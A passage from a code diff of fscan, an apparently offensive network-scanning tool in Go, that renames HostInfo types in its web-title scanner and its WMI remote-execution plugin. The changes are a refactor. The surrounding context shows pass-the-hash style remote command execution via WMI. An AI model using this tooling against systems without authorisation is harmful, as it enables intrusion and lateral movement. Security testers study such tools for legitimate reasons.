 	"golang.org/x/text/encoding/simplifiedchinese"
 )
 
-func WebTitle(info *common.HostInfo) error {
+func WebTitle(info *Config.HostInfo) error {
 	if common.Scantype == "webpoc" {
 		WebScan.WebScan(info)
 		return nil
@@ -39,7 +40,7 @@ func WebTitle(info *common.HostInfo) error {
 	}
 	return err
 }
-func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
+func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckDatas) {
 	if info.Url == "" {
 		switch info.Ports {
 		case "80":
@@ -93,7 +94,7 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
 	return
 }
 
-func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
+func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) {
 	//flag 1 first try
 	//flag 2 /favicon.ico
 	//flag 3 302

Plugins/wmiexec.go

@@ -3,6 +3,7 @@ package Plugins
 import (
 	"errors"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"os"
 	"strings"
@@ -26,7 +27,7 @@ func init() {
 	flag = true
 }
 
-func WmiExec(info *common.HostInfo) (tmperr error) {
+func WmiExec(info *Config.HostInfo) (tmperr error) {
 	if common.IsBrute {
 		return nil
 	}
@@ -70,7 +71,7 @@ func WmiExec(info *common.HostInfo) (tmperr error) {
 	return tmperr
 }
 
-func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) {
+func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) {
 	target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
 	wmiexec.Timeout = int(common.Timeout)
 	return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil)